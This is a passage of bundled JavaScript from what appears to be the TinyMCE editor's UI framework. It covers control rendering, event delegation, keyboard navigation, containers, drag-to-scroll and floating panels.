        global$9(elm).before(this.renderHtml());
        this.postRender();
        return this;
      },
      renderTo: function (elm) {
        global$9(elm || this.getContainerElm()).append(this.renderHtml());
        this.postRender();
        return this;
      },
      preRender: function () {
      },
      render: function () {
      },
      renderHtml: function () {
        return '<div id="' + this._id + '" class="' + this.classes + '"></div>';
      },
      postRender: function () {
        var self = this;
        var settings = self.settings;
        var elm, box, parent, name, parentEventsRoot;
        self.$el = global$9(self.getEl());
        self.state.set('rendered', true);
        for (name in settings) {
          if (name.indexOf('on') === 0) {
            self.on(name.substr(2), settings[name]);
          }
        }
        if (self._eventsRoot) {
          for (parent = self.parent(); !parentEventsRoot && parent; parent = parent.parent()) {
            parentEventsRoot = parent._eventsRoot;
          }
          if (parentEventsRoot) {
            for (name in parentEventsRoot._nativeEvents) {
              self._nativeEvents[name] = true;
            }
          }
        }
        bindPendingEvents(self);
        if (settings.style) {
          elm = self.getEl();
          if (elm) {
            elm.setAttribute('style', settings.style);
            elm.style.cssText = settings.style;
          }
        }
        if (self.settings.border) {
          box = self.borderBox;
          self.$el.css({
            'border-top-width': box.top,
            'border-right-width': box.right,
            'border-bottom-width': box.bottom,
            'border-left-width': box.left
          });
        }
        var root = self.getRoot();
        if (!root.controlIdLookup) {
          root.controlIdLookup = {};
        }
        root.controlIdLookup[self._id] = self;
        for (var key in self._aria) {
          self.aria(key, self._aria[key]);
        }
        if (self.state.get('visible') === false) {
          self.getEl().style.display = 'none';
        }
        self.bindStates();
        self.state.on('change:visible', function (e) {
          var state = e.value;
          var parentCtrl;
          if (self.state.get('rendered')) {
            self.getEl().style.display = state === false ? 'none' : '';
            self.getEl().getBoundingClientRect();
          }
          parentCtrl = self.parent();
          if (parentCtrl) {
            parentCtrl._lastRect = null;
          }
          self.fire(state ? 'show' : 'hide');
          ReflowQueue.add(self);
        });
        self.fire('postrender', {}, false);
      },
      bindStates: function () {
      },
      scrollIntoView: function (align) {
        function getOffset(elm, rootElm) {
          var x, y, parent = elm;
          x = y = 0;
          while (parent && parent !== rootElm && parent.nodeType) {
            x += parent.offsetLeft || 0;
            y += parent.offsetTop || 0;
            parent = parent.offsetParent;
          }
          return {
            x: x,
            y: y
          };
        }
        var elm = this.getEl(), parentElm = elm.parentNode;
        var x, y, width, height, parentWidth, parentHeight;
        var pos = getOffset(elm, parentElm);
        x = pos.x;
        y = pos.y;
        width = elm.offsetWidth;
        height = elm.offsetHeight;
        parentWidth = parentElm.clientWidth;
        parentHeight = parentElm.clientHeight;
        if (align === 'end') {
          x -= parentWidth - width;
          y -= parentHeight - height;
        } else if (align === 'center') {
          x -= parentWidth / 2 - width / 2;
          y -= parentHeight / 2 - height / 2;
        }
        parentElm.scrollLeft = x;
        parentElm.scrollTop = y;
        return this;
      },
      getRoot: function () {
        var ctrl = this, rootControl;
        var parents = [];
        while (ctrl) {
          if (ctrl.rootControl) {
            rootControl = ctrl.rootControl;
            break;
          }
          parents.push(ctrl);
          rootControl = ctrl;
          ctrl = ctrl.parent();
        }
        if (!rootControl) {
          rootControl = this;
        }
        var i = parents.length;
        while (i--) {
          parents[i].rootControl = rootControl;
        }
        return rootControl;
      },
      reflow: function () {
        ReflowQueue.remove(this);
        var parent = this.parent();
        if (parent && parent._layout && !parent._layout.isNative()) {
          parent.reflow();
        }
        return this;
      }
    };
    global$2.each('text title visible disabled active value'.split(' '), function (name) {
      proto$1[name] = function (value) {
        if (arguments.length === 0) {
          return this.state.get(name);
        }
        if (typeof value !== 'undefined') {
          this.state.set(name, value);
        }
        return this;
      };
    });
    Control = global$a.extend(proto$1);
    function getEventDispatcher(obj) {
      if (!obj._eventDispatcher) {
        obj._eventDispatcher = new global$b({
          scope: obj,
          toggleEvent: function (name, state) {
            if (state && global$b.isNative(name)) {
              if (!obj._nativeEvents) {
                obj._nativeEvents = {};
              }
              obj._nativeEvents[name] = true;
              if (obj.state.get('rendered')) {
                bindPendingEvents(obj);
              }
            }
          }
        });
      }
      return obj._eventDispatcher;
    }
    function bindPendingEvents(eventCtrl) {
      var i, l, parents, eventRootCtrl, nativeEvents, name;
      function delegate(e) {
        var control = eventCtrl.getParentCtrl(e.target);
        if (control) {
          control.fire(e.type, e);
        }
      }
      function mouseLeaveHandler() {
        var ctrl = eventRootCtrl._lastHoverCtrl;
        if (ctrl) {
          ctrl.fire('mouseleave', { target: ctrl.getEl() });
          ctrl.parents().each(function (ctrl) {
            ctrl.fire('mouseleave', { target: ctrl.getEl() });
          });
          eventRootCtrl._lastHoverCtrl = null;
        }
      }
      function mouseEnterHandler(e) {
        var ctrl = eventCtrl.getParentCtrl(e.target), lastCtrl = eventRootCtrl._lastHoverCtrl, idx = 0, i, parents, lastParents;
        if (ctrl !== lastCtrl) {
          eventRootCtrl._lastHoverCtrl = ctrl;
          parents = ctrl.parents().toArray().reverse();
          parents.push(ctrl);
          if (lastCtrl) {
            lastParents = lastCtrl.parents().toArray().reverse();
            lastParents.push(lastCtrl);
            for (idx = 0; idx < lastParents.length; idx++) {
              if (parents[idx] !== lastParents[idx]) {
                break;
              }
            }
            for (i = lastParents.length - 1; i >= idx; i--) {
              lastCtrl = lastParents[i];
              lastCtrl.fire('mouseleave', { target: lastCtrl.getEl() });
            }
          }
          for (i = idx; i < parents.length; i++) {
            ctrl = parents[i];
            ctrl.fire('mouseenter', { target: ctrl.getEl() });
          }
        }
      }
      function fixWheelEvent(e) {
        e.preventDefault();
        if (e.type === 'mousewheel') {
          e.deltaY = -1 / 40 * e.wheelDelta;
          if (e.wheelDeltaX) {
            e.deltaX = -1 / 40 * e.wheelDeltaX;
          }
        } else {
          e.deltaX = 0;
          e.deltaY = e.detail;
        }
        e = eventCtrl.fire('wheel', e);
      }
      nativeEvents = eventCtrl._nativeEvents;
      if (nativeEvents) {
        parents = eventCtrl.parents().toArray();
        parents.unshift(eventCtrl);
        for (i = 0, l = parents.length; !eventRootCtrl && i < l; i++) {
          eventRootCtrl = parents[i]._eventsRoot;
        }
        if (!eventRootCtrl) {
          eventRootCtrl = parents[parents.length - 1] || eventCtrl;
        }
        eventCtrl._eventsRoot = eventRootCtrl;
        for (l = i, i = 0; i < l; i++) {
          parents[i]._eventsRoot = eventRootCtrl;
        }
        var eventRootDelegates = eventRootCtrl._delegates;
        if (!eventRootDelegates) {
          eventRootDelegates = eventRootCtrl._delegates = {};
        }
        for (name in nativeEvents) {
          if (!nativeEvents) {
            return false;
          }
          if (name === 'wheel' && !hasWheelEventSupport) {
            if (hasMouseWheelEventSupport) {
              global$9(eventCtrl.getEl()).on('mousewheel', fixWheelEvent);
            } else {
              global$9(eventCtrl.getEl()).on('DOMMouseScroll', fixWheelEvent);
            }
            continue;
          }
          if (name === 'mouseenter' || name === 'mouseleave') {
            if (!eventRootCtrl._hasMouseEnter) {
              global$9(eventRootCtrl.getEl()).on('mouseleave', mouseLeaveHandler).on('mouseover', mouseEnterHandler);
              eventRootCtrl._hasMouseEnter = 1;
            }
          } else if (!eventRootDelegates[name]) {
            global$9(eventRootCtrl.getEl()).on(name, delegate);
            eventRootDelegates[name] = true;
          }
          nativeEvents[name] = false;
        }
      }
    }
    var Control$1 = Control;

    var hasTabstopData = function (elm) {
      return elm.getAttribute('data-mce-tabstop') ? true : false;
    };
    function KeyboardNavigation (settings) {
      var root = settings.root;
      var focusedElement, focusedControl;
      function isElement(node) {
        return node && node.nodeType === 1;
      }
      try {
        focusedElement = domGlobals.document.activeElement;
      } catch (ex) {
        focusedElement = domGlobals.document.body;
      }
      focusedControl = root.getParentCtrl(focusedElement);
      function getRole(elm) {
        elm = elm || focusedElement;
        if (isElement(elm)) {
          return elm.getAttribute('role');
        }
        return null;
      }
      function getParentRole(elm) {
        var role, parent = elm || focusedElement;
        while (parent = parent.parentNode) {
          if (role = getRole(parent)) {
            return role;
          }
        }
      }
      function getAriaProp(name) {
        var elm = focusedElement;
        if (isElement(elm)) {
          return elm.getAttribute('aria-' + name);
        }
      }
      function isTextInputElement(elm) {
        var tagName = elm.tagName.toUpperCase();
        return tagName === 'INPUT' || tagName === 'TEXTAREA' || tagName === 'SELECT';
      }
      function canFocus(elm) {
        if (isTextInputElement(elm) && !elm.hidden) {
          return true;
        }
        if (hasTabstopData(elm)) {
          return true;
        }
        if (/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(getRole(elm))) {
          return true;
        }
        return false;
      }
      function getFocusElements(elm) {
        var elements = [];
        function collect(elm) {
          if (elm.nodeType !== 1 || elm.style.display === 'none' || elm.disabled) {
            return;
          }
          if (canFocus(elm)) {
            elements.push(elm);
          }
          for (var i = 0; i < elm.childNodes.length; i++) {
            collect(elm.childNodes[i]);
          }
        }
        collect(elm || root.getEl());
        return elements;
      }
      function getNavigationRoot(targetControl) {
        var navigationRoot, controls;
        targetControl = targetControl || focusedControl;
        controls = targetControl.parents().toArray();
        controls.unshift(targetControl);
        for (var i = 0; i < controls.length; i++) {
          navigationRoot = controls[i];
          if (navigationRoot.settings.ariaRoot) {
            break;
          }
        }
        return navigationRoot;
      }
      function focusFirst(targetControl) {
        var navigationRoot = getNavigationRoot(targetControl);
        var focusElements = getFocusElements(navigationRoot.getEl());
        if (navigationRoot.settings.ariaRemember && 'lastAriaIndex' in navigationRoot) {
          moveFocusToIndex(navigationRoot.lastAriaIndex, focusElements);
        } else {
          moveFocusToIndex(0, focusElements);
        }
      }
      function moveFocusToIndex(idx, elements) {
        if (idx < 0) {
          idx = elements.length - 1;
        } else if (idx >= elements.length) {
          idx = 0;
        }
        if (elements[idx]) {
          elements[idx].focus();
        }
        return idx;
      }
      function moveFocus(dir, elements) {
        var idx = -1;
        var navigationRoot = getNavigationRoot();
        elements = elements || getFocusElements(navigationRoot.getEl());
        for (var i = 0; i < elements.length; i++) {
          if (elements[i] === focusedElement) {
            idx = i;
          }
        }
        idx += dir;
        navigationRoot.lastAriaIndex = moveFocusToIndex(idx, elements);
      }
      function left() {
        var parentRole = getParentRole();
        if (parentRole === 'tablist') {
          moveFocus(-1, getFocusElements(focusedElement.parentNode));
        } else if (focusedControl.parent().submenu) {
          cancel();
        } else {
          moveFocus(-1);
        }
      }
      function right() {
        var role = getRole(), parentRole = getParentRole();
        if (parentRole === 'tablist') {
          moveFocus(1, getFocusElements(focusedElement.parentNode));
        } else if (role === 'menuitem' && parentRole === 'menu' && getAriaProp('haspopup')) {
          enter();
        } else {
          moveFocus(1);
        }
      }
      function up() {
        moveFocus(-1);
      }
      function down() {
        var role = getRole(), parentRole = getParentRole();
        if (role === 'menuitem' && parentRole === 'menubar') {
          enter();
        } else if (role === 'button' && getAriaProp('haspopup')) {
          enter({ key: 'down' });
        } else {
          moveFocus(1);
        }
      }
      function tab(e) {
        var parentRole = getParentRole();
        if (parentRole === 'tablist') {
          var elm = getFocusElements(focusedControl.getEl('body'))[0];
          if (elm) {
            elm.focus();
          }
        } else {
          moveFocus(e.shiftKey ? -1 : 1);
        }
      }
      function cancel() {
        focusedControl.fire('cancel');
      }
      function enter(aria) {
        aria = aria || {};
        focusedControl.fire('click', {
          target: focusedElement,
          aria: aria
        });
      }
      root.on('keydown', function (e) {
        function handleNonTabOrEscEvent(e, handler) {
          if (isTextInputElement(focusedElement) || hasTabstopData(focusedElement)) {
            return;
          }
          if (getRole(focusedElement) === 'slider') {
            return;
          }
          if (handler(e) !== false) {
            e.preventDefault();
          }
        }
        if (e.isDefaultPrevented()) {
          return;
        }
        switch (e.keyCode) {
        case 37:
          handleNonTabOrEscEvent(e, left);
          break;
        case 39:
          handleNonTabOrEscEvent(e, right);
          break;
        case 38:
          handleNonTabOrEscEvent(e, up);
          break;
        case 40:
          handleNonTabOrEscEvent(e, down);
          break;
        case 27:
          cancel();
          break;
        case 14:
        case 13:
        case 32:
          handleNonTabOrEscEvent(e, enter);
          break;
        case 9:
          tab(e);
          e.preventDefault();
          break;
        }
      });
      root.on('focusin', function (e) {
        focusedElement = e.target;
        focusedControl = e.control;
      });
      return { focusFirst: focusFirst };
    }

    var selectorCache = {};
    var Container = Control$1.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        settings = self.settings;
        if (settings.fixed) {
          self.state.set('fixed', true);
        }
        self._items = new Collection$2();
        if (self.isRtl()) {
          self.classes.add('rtl');
        }
        self.bodyClasses = new ClassList(function () {
          if (self.state.get('rendered')) {
            self.getEl('body').className = this.toString();
          }
        });
        self.bodyClasses.prefix = self.classPrefix;
        self.classes.add('container');
        self.bodyClasses.add('container-body');
        if (settings.containerCls) {
          self.classes.add(settings.containerCls);
        }
        self._layout = global$4.create((settings.layout || '') + 'layout');
        if (self.settings.items) {
          self.add(self.settings.items);
        } else {
          self.add(self.render());
        }
        self._hasBody = true;
      },
      items: function () {
        return this._items;
      },
      find: function (selector) {
        selector = selectorCache[selector] = selectorCache[selector] || new Selector(selector);
        return selector.find(this);
      },
      add: function (items) {
        var self = this;
        self.items().add(self.create(items)).parent(self);
        return self;
      },
      focus: function (keyboard) {
        var self = this;
        var focusCtrl, keyboardNav, items;
        if (keyboard) {
          keyboardNav = self.keyboardNav || self.parents().eq(-1)[0].keyboardNav;
          if (keyboardNav) {
            keyboardNav.focusFirst(self);
            return;
          }
        }
        items = self.find('*');
        if (self.statusbar) {
          items.add(self.statusbar.items());
        }
        items.each(function (ctrl) {
          if (ctrl.settings.autofocus) {
            focusCtrl = null;
            return false;
          }
          if (ctrl.canFocus) {
            focusCtrl = focusCtrl || ctrl;
          }
        });
        if (focusCtrl) {
          focusCtrl.focus();
        }
        return self;
      },
      replace: function (oldItem, newItem) {
        var ctrlElm;
        var items = this.items();
        var i = items.length;
        while (i--) {
          if (items[i] === oldItem) {
            items[i] = newItem;
            break;
          }
        }
        if (i >= 0) {
          ctrlElm = newItem.getEl();
          if (ctrlElm) {
            ctrlElm.parentNode.removeChild(ctrlElm);
          }
          ctrlElm = oldItem.getEl();
          if (ctrlElm) {
            ctrlElm.parentNode.removeChild(ctrlElm);
          }
        }
        newItem.parent(this);
      },
      create: function (items) {
        var self = this;
        var settings;
        var ctrlItems = [];
        if (!global$2.isArray(items)) {
          items = [items];
        }
        global$2.each(items, function (item) {
          if (item) {
            if (!(item instanceof Control$1)) {
              if (typeof item === 'string') {
                item = { type: item };
              }
              settings = global$2.extend({}, self.settings.defaults, item);
              item.type = settings.type = settings.type || item.type || self.settings.defaultType || (settings.defaults ? settings.defaults.type : null);
              item = global$4.create(settings);
            }
            ctrlItems.push(item);
          }
        });
        return ctrlItems;
      },
      renderNew: function () {
        var self = this;
        self.items().each(function (ctrl, index) {
          var containerElm;
          ctrl.parent(self);
          if (!ctrl.state.get('rendered')) {
            containerElm = self.getEl('body');
            if (containerElm.hasChildNodes() && index <= containerElm.childNodes.length - 1) {
              global$9(containerElm.childNodes[index]).before(ctrl.renderHtml());
            } else {
              global$9(containerElm).append(ctrl.renderHtml());
            }
            ctrl.postRender();
            ReflowQueue.add(ctrl);
          }
        });
        self._layout.applyClasses(self.items().filter(':visible'));
        self._lastRect = null;
        return self;
      },
      append: function (items) {
        return this.add(items).renderNew();
      },
      prepend: function (items) {
        var self = this;
        self.items().set(self.create(items).concat(self.items().toArray()));
        return self.renderNew();
      },
      insert: function (items, index, before) {
        var self = this;
        var curItems, beforeItems, afterItems;
        items = self.create(items);
        curItems = self.items();
        if (!before && index < curItems.length - 1) {
          index += 1;
        }
        if (index >= 0 && index < curItems.length) {
          beforeItems = curItems.slice(0, index).toArray();
          afterItems = curItems.slice(index).toArray();
          curItems.set(beforeItems.concat(items, afterItems));
        }
        return self.renderNew();
      },
      fromJSON: function (data) {
        var self = this;
        for (var name in data) {
          self.find('#' + name).value(data[name]);
        }
        return self;
      },
      toJSON: function () {
        var self = this, data = {};
        self.find('*').each(function (ctrl) {
          var name = ctrl.name(), value = ctrl.value();
          if (name && typeof value !== 'undefined') {
            data[name] = value;
          }
        });
        return data;
      },
      renderHtml: function () {
        var self = this, layout = self._layout, role = this.settings.role;
        self.preRender();
        layout.preRender(self);
        return '<div id="' + self._id + '" class="' + self.classes + '"' + (role ? ' role="' + this.settings.role + '"' : '') + '>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        var box;
        self.items().exec('postRender');
        self._super();
        self._layout.postRender(self);
        self.state.set('rendered', true);
        if (self.settings.style) {
          self.$el.css(self.settings.style);
        }
        if (self.settings.border) {
          box = self.borderBox;
          self.$el.css({
            'border-top-width': box.top,
            'border-right-width': box.right,
            'border-bottom-width': box.bottom,
            'border-left-width': box.left
          });
        }
        if (!self.parent()) {
          self.keyboardNav = KeyboardNavigation({ root: self });
        }
        return self;
      },
      initLayoutRect: function () {
        var self = this, layoutRect = self._super();
        self._layout.recalc(self);
        return layoutRect;
      },
      recalc: function () {
        var self = this;
        var rect = self._layoutRect;
        var lastRect = self._lastRect;
        if (!lastRect || lastRect.w !== rect.w || lastRect.h !== rect.h) {
          self._layout.recalc(self);
          rect = self.layoutRect();
          self._lastRect = {
            x: rect.x,
            y: rect.y,
            w: rect.w,
            h: rect.h
          };
          return true;
        }
      },
      reflow: function () {
        var i;
        ReflowQueue.remove(this);
        if (this.visible()) {
          Control$1.repaintControls = [];
          Control$1.repaintControls.map = {};
          this.recalc();
          i = Control$1.repaintControls.length;
          while (i--) {
            Control$1.repaintControls[i].repaint();
          }
          if (this.settings.layout !== 'flow' && this.settings.layout !== 'stack') {
            this.repaint();
          }
          Control$1.repaintControls = [];
        }
        return this;
      }
    });

    function getDocumentSize(doc) {
      var documentElement, body, scrollWidth, clientWidth;
      var offsetWidth, scrollHeight, clientHeight, offsetHeight;
      var max = Math.max;
      documentElement = doc.documentElement;
      body = doc.body;
      scrollWidth = max(documentElement.scrollWidth, body.scrollWidth);
      clientWidth = max(documentElement.clientWidth, body.clientWidth);
      offsetWidth = max(documentElement.offsetWidth, body.offsetWidth);
      scrollHeight = max(documentElement.scrollHeight, body.scrollHeight);
      clientHeight = max(documentElement.clientHeight, body.clientHeight);
      offsetHeight = max(documentElement.offsetHeight, body.offsetHeight);
      return {
        width: scrollWidth < offsetWidth ? clientWidth : scrollWidth,
        height: scrollHeight < offsetHeight ? clientHeight : scrollHeight
      };
    }
    function updateWithTouchData(e) {
      var keys, i;
      if (e.changedTouches) {
        keys = 'screenX screenY pageX pageY clientX clientY'.split(' ');
        for (i = 0; i < keys.length; i++) {
          e[keys[i]] = e.changedTouches[0][keys[i]];
        }
      }
    }
    function DragHelper (id, settings) {
      var $eventOverlay;
      var doc = settings.document || domGlobals.document;
      var downButton;
      var start, stop, drag, startX, startY;
      settings = settings || {};
      var handleElement = doc.getElementById(settings.handle || id);
      start = function (e) {
        var docSize = getDocumentSize(doc);
        var handleElm, cursor;
        updateWithTouchData(e);
        e.preventDefault();
        downButton = e.button;
        handleElm = handleElement;
        startX = e.screenX;
        startY = e.screenY;
        if (domGlobals.window.getComputedStyle) {
          cursor = domGlobals.window.getComputedStyle(handleElm, null).getPropertyValue('cursor');
        } else {
          cursor = handleElm.runtimeStyle.cursor;
        }
        $eventOverlay = global$9('<div></div>').css({
          position: 'absolute',
          top: 0,
          left: 0,
          width: docSize.width,
          height: docSize.height,
          zIndex: 2147483647,
          opacity: 0.0001,
          cursor: cursor
        }).appendTo(doc.body);
        global$9(doc).on('mousemove touchmove', drag).on('mouseup touchend', stop);
        settings.start(e);
      };
      drag = function (e) {
        updateWithTouchData(e);
        if (e.button !== downButton) {
          return stop(e);
        }
        e.deltaX = e.screenX - startX;
        e.deltaY = e.screenY - startY;
        e.preventDefault();
        settings.drag(e);
      };
      stop = function (e) {
        updateWithTouchData(e);
        global$9(doc).off('mousemove touchmove', drag).off('mouseup touchend', stop);
        $eventOverlay.remove();
        if (settings.stop) {
          settings.stop(e);
        }
      };
      this.destroy = function () {
        global$9(handleElement).off();
      };
      global$9(handleElement).on('mousedown touchstart', start);
    }

    var Scrollable = {
      init: function () {
        var self = this;
        self.on('repaint', self.renderScroll);
      },
      renderScroll: function () {
        var self = this, margin = 2;
        function repaintScroll() {
          var hasScrollH, hasScrollV, bodyElm;
          function repaintAxis(axisName, posName, sizeName, contentSizeName, hasScroll, ax) {
            var containerElm, scrollBarElm, scrollThumbElm;
            var containerSize, scrollSize, ratio, rect;
            var posNameLower, sizeNameLower;
            scrollBarElm = self.getEl('scroll' + axisName);
            if (scrollBarElm) {
              posNameLower = posName.toLowerCase();
              sizeNameLower = sizeName.toLowerCase();
              global$9(self.getEl('absend')).css(posNameLower, self.layoutRect()[contentSizeName] - 1);
              if (!hasScroll) {
                global$9(scrollBarElm).css('display', 'none');
                return;
              }
              global$9(scrollBarElm).css('display', 'block');
              containerElm = self.getEl('body');
              scrollThumbElm = self.getEl('scroll' + axisName + 't');
              containerSize = containerElm['client' + sizeName] - margin * 2;
              containerSize -= hasScrollH && hasScrollV ? scrollBarElm['client' + ax] : 0;
              scrollSize = containerElm['scroll' + sizeName];
              ratio = containerSize / scrollSize;
              rect = {};
              rect[posNameLower] = containerElm['offset' + posName] + margin;
              rect[sizeNameLower] = containerSize;
              global$9(scrollBarElm).css(rect);
              rect = {};
              rect[posNameLower] = containerElm['scroll' + posName] * ratio;
              rect[sizeNameLower] = containerSize * ratio;
              global$9(scrollThumbElm).css(rect);
            }
          }
          bodyElm = self.getEl('body');
          hasScrollH = bodyElm.scrollWidth > bodyElm.clientWidth;
          hasScrollV = bodyElm.scrollHeight > bodyElm.clientHeight;
          repaintAxis('h', 'Left', 'Width', 'contentW', hasScrollH, 'Height');
          repaintAxis('v', 'Top', 'Height', 'contentH', hasScrollV, 'Width');
        }
        function addScroll() {
          function addScrollAxis(axisName, posName, sizeName, deltaPosName, ax) {
            var scrollStart;
            var axisId = self._id + '-scroll' + axisName, prefix = self.classPrefix;
            global$9(self.getEl()).append('<div id="' + axisId + '" class="' + prefix + 'scrollbar ' + prefix + 'scrollbar-' + axisName + '">' + '<div id="' + axisId + 't" class="' + prefix + 'scrollbar-thumb"></div>' + '</div>');
            self.draghelper = new DragHelper(axisId + 't', {
              start: function () {
                scrollStart = self.getEl('body')['scroll' + posName];
                global$9('#' + axisId).addClass(prefix + 'active');
              },
              drag: function (e) {
                var ratio, hasScrollH, hasScrollV, containerSize;
                var layoutRect = self.layoutRect();
                hasScrollH = layoutRect.contentW > layoutRect.innerW;
                hasScrollV = layoutRect.contentH > layoutRect.innerH;
                containerSize = self.getEl('body')['client' + sizeName] - margin * 2;
                containerSize -= hasScrollH && hasScrollV ? self.getEl('scroll' + axisName)['client' + ax] : 0;
                ratio = containerSize / self.getEl('body')['scroll' + sizeName];
                self.getEl('body')['scroll' + posName] = scrollStart + e['delta' + deltaPosName] / ratio;
              },
              stop: function () {
                global$9('#' + axisId).removeClass(prefix + 'active');
              }
            });
          }
          self.classes.add('scroll');
          addScrollAxis('v', 'Top', 'Height', 'Y', 'Width');
          addScrollAxis('h', 'Left', 'Width', 'X', 'Height');
        }
        if (self.settings.autoScroll) {
          if (!self._hasScroll) {
            self._hasScroll = true;
            addScroll();
            self.on('wheel', function (e) {
              var bodyEl = self.getEl('body');
              bodyEl.scrollLeft += (e.deltaX || 0) * 10;
              bodyEl.scrollTop += e.deltaY * 10;
              repaintScroll();
            });
            global$9(self.getEl('body')).on('scroll', repaintScroll);
          }
          repaintScroll();
        }
      }
    };

    var Panel = Container.extend({
      Defaults: {
        layout: 'fit',
        containerCls: 'panel'
      },
      Mixins: [Scrollable],
      renderHtml: function () {
        var self = this;
        var layout = self._layout;
        var innerHtml = self.settings.html;
        self.preRender();
        layout.preRender(self);
        if (typeof innerHtml === 'undefined') {
          innerHtml = '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>';
        } else {
          if (typeof innerHtml === 'function') {
            innerHtml = innerHtml.call(self);
          }
          self._hasBody = false;
        }
        return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1" role="group">' + (self._preBodyHtml || '') + innerHtml + '</div>';
      }
    });

    var Resizable = {
      resizeToContent: function () {
        this._layoutRect.autoResize = true;
        this._lastRect = null;
        this.reflow();
      },
      resizeTo: function (w, h) {
        if (w <= 1 || h <= 1) {
          var rect = funcs.getWindowSize();
          w = w <= 1 ? w * rect.w : w;
          h = h <= 1 ? h * rect.h : h;
        }
        this._layoutRect.autoResize = false;
        return this.layoutRect({
          minW: w,
          minH: h,
          w: w,
          h: h
        }).reflow();
      },
      resizeBy: function (dw, dh) {
        var self = this, rect = self.layoutRect();
        return self.resizeTo(rect.w + dw, rect.h + dh);
      }
    };

    var documentClickHandler, documentScrollHandler, windowResizeHandler;
    var visiblePanels = [];
    var zOrder = [];
    var hasModal;
    function isChildOf(ctrl, parent) {
      while (ctrl) {
        if (ctrl === parent) {
          return true;
        }
        ctrl = ctrl.parent();
      }
    }
    function skipOrHidePanels(e) {
      var i = visiblePanels.length;
      while (i--) {
        var panel = visiblePanels[i], clickCtrl = panel.getParentCtrl(e.target);
        if (panel.settings.autohide) {
          if (clickCtrl) {
            if (isChildOf(clickCtrl, panel) || panel.parent() === clickCtrl) {
              continue;
            }
          }
          e = panel.fire('autohide', { target: e.target });
          if (!e.isDefaultPrevented()) {
            panel.hide();
          }
        }
      }
    }
    function bindDocumentClickHandler() {
      if (!documentClickHandler) {
        documentClickHandler = function (e) {
          if (e.button === 2) {
            return;
          }
          skipOrHidePanels(e);
        };
        global$9(domGlobals.document).on('click touchstart', documentClickHandler);
      }
    }
    function bindDocumentScrollHandler() {
      if (!documentScrollHandler) {
        documentScrollHandler = function () {
          var i;
          i = visiblePanels.length;
          while (i--) {
            repositionPanel(visiblePanels[i]);
          }
        };
        global$9(domGlobals.window).on('scroll', documentScrollHandler);
      }
    }
    function bindWindowResizeHandler() {
      if (!windowResizeHandler) {
        var docElm_1 = domGlobals.document.documentElement;
        var clientWidth_1 = docElm_1.clientWidth, clientHeight_1 = docElm_1.clientHeight;
        windowResizeHandler = function () {
          if (!domGlobals.document.all || clientWidth_1 !== docElm_1.clientWidth || clientHeight_1 !== docElm_1.clientHeight) {
            clientWidth_1 = docElm_1.clientWidth;
            clientHeight_1 = docElm_1.clientHeight;
            FloatPanel.hideAll();
          }
        };
        global$9(domGlobals.window).on('resize', windowResizeHandler);
      }
    }
    function repositionPanel(panel) {
      var scrollY = funcs.getViewPort().y;
      function toggleFixedChildPanels(fixed, deltaY) {
        var parent;
        for (var i = 0; i < visiblePanels.length; i++) {
          if (visiblePanels[i] !== panel) {
            parent = visiblePanels[i].parent();
            while (parent && (parent = parent.parent())) {
              if (parent === panel) {
                visiblePanels[i].fixed(fixed).moveBy(0, deltaY).repaint();
              }
            }
          }
        }
      }
      if (panel.settings.autofix) {
        if (!panel.state.get('fixed')) {
          panel._autoFixY = panel.layoutRect().y;
          if (panel._autoFixY < scrollY) {
            panel.fixed(true).layoutRect({ y: 0 }).repaint();
            toggleFixedChildPanels(true, scrollY - panel._autoFixY);
          }
        } else {
          if (panel._autoFixY > scrollY) {
            panel.fixed(false).layoutRect({ y: panel._autoFixY }).repaint();
            toggleFixedChildPanels(false, panel._autoFixY - scrollY);
          }
        }
      }
    }
    function addRemove(add, ctrl) {
      var i, zIndex = FloatPanel.zIndex || 65535, topModal;
      if (add) {
        zOrder.push(ctrl);
      } else {
        i = zOrder.length;
        while (i--) {
          if (zOrder[i] === ctrl) {
            zOrder.splice(i, 1);
          }
        }
      }
      if (zOrder.length) {
        for (i = 0; i < zOrder.length; i++) {
          if (zOrder[i].modal) {
            zIndex++;
            topModal = zOrder[i];
          }
          zOrder[i].getEl().style.zIndex = zIndex;
          zOrder[i].zIndex = zIndex;
          zIndex++;
        }
      }
      var modalBlockEl = global$9('#' + ctrl.classPrefix + 'modal-block', ctrl.getContainerElm())[0];
      if (topModal) {
        global$9(modalBlockEl).css('z-index', topModal.zIndex - 1);
      } else if (modalBlockEl) {
        modalBlockEl.parentNode.removeChild(modalBlockEl);
        hasModal = false;
      }
      FloatPanel.currentZIndex = zIndex;
    }
    var FloatPanel = Panel.extend({
      Mixins: [
        Movable,
        Resizable
      ],
      init: function (settings) {
        var self = this;
        self._super(settings);
        self._eventsRoot = self;
        self.classes.add('floatpanel');
        if (settings.autohide) {
          bindDocumentClickHandler();
          bindWindowResizeHandler();
          visiblePanels.push(self);
        }
        if (settings.autofix) {
          bindDocumentScrollHandler();
          self.on('move', function () {
            repositionPanel(this);
          });
        }
        self.on('postrender show', function (e) {
          if (e.control === self) {
            var $modalBlockEl_1;
            var prefix_1 = self.classPrefix;
            if (self.modal && !hasModal) {
              $modalBlockEl_1 = global$9('#' + prefix_1 + 'modal-block', self.getContainerElm());
              if (!$modalBlockEl_1[0]) {
                $modalBlockEl_1 = global$9('<div id="' + prefix_1 + 'modal-block" class="' + prefix_1 + 'reset ' + prefix_1 + 'fade"></div>').appendTo(self.getContainerElm());
              }
              global$7.setTimeout(function () {
                $modalBlockEl_1.addClass(prefix_1 + 'in');
                global$9(self.getEl()).addClass(prefix_1 + 'in');
              });
              hasModal = true;
            }
            addRemove(true, self);
          }
        });
        self.on('show', function () {
          self.parents().each(function (ctrl) {
            if (ctrl.state.get('fixed')) {
              self.fixed(true);
              return false;
            }
          });
        });
        if (settings.popover) {
          self._preBodyHtml = '<div class="' + self.classPrefix + 'arrow"></div>';
          self.classes.add('popover').add('bottom').add(self.isRtl() ? 'end' : 'start');
        }
        self.aria('label', settings.ariaLabel);
        self.aria('labelledby', self._id);
        self.aria('describedby', self.describedBy || self._id + '-none');
      },
      fixed: function (state) {
        var self = this;
        if (self.state.get('fixed') !== state) {
          if (self.state.get('rendered')) {
            var viewport = funcs.getViewPort();
            if (state) {
